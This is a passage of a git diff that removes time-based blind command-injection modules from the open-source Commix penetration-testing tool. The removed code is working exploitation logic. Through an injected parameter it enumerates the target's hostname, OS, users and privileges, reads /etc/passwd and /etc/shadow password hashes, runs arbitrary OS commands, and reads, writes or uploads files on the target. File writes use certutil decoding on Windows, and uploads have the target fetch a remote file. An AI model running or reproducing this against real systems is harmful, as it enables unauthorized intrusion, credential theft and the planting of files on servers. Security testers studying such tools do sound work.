http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if shell: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_os = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if target_os: - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("") - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - distro_name = output - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_arch = output - if target_arch: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - cu_account = output - if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - shell = "".join(str(p) for p in shell) - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - -""" -System users enumeration -""" -def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - cmd = settings.SYS_USERS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - try: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - except TypeError: - output = "" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output - # Windows users enumeration. - if settings.TARGET_OS == "win": - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - info_msg = "Confirming privileges of user '" - info_msg += sys_users_list[user] + "'. " - print(settings.print_info_msg(info_msg)) - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" - if alter_shell: - cmd = cmd.replace("'","\\'") - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - check_privs = output - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - print("\n [" +str(count)+ "] '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - # Unix-like users enumeration. - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - -""" -System passwords enumeration -""" -def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" [" +str(count)+ "] " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1]) - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" - logs.print_logs_notification(filename, url) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.users: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py deleted file mode 100755 index 40aff2e61a..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ /dev/null @@ -1,244 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector - -""" -The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - new_line = "\n" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = True - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - # Execute command - if settings.TARGET_OS == "win": - from src.core.injections.results_based.techniques.classic import cb_injector - whitespace = settings.WHITESPACES[0] - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "'" + cmd + "'" - dest_to_write = path + "\\" + filname - else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was created successfully!\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = True - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was uploaded successfully!" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, 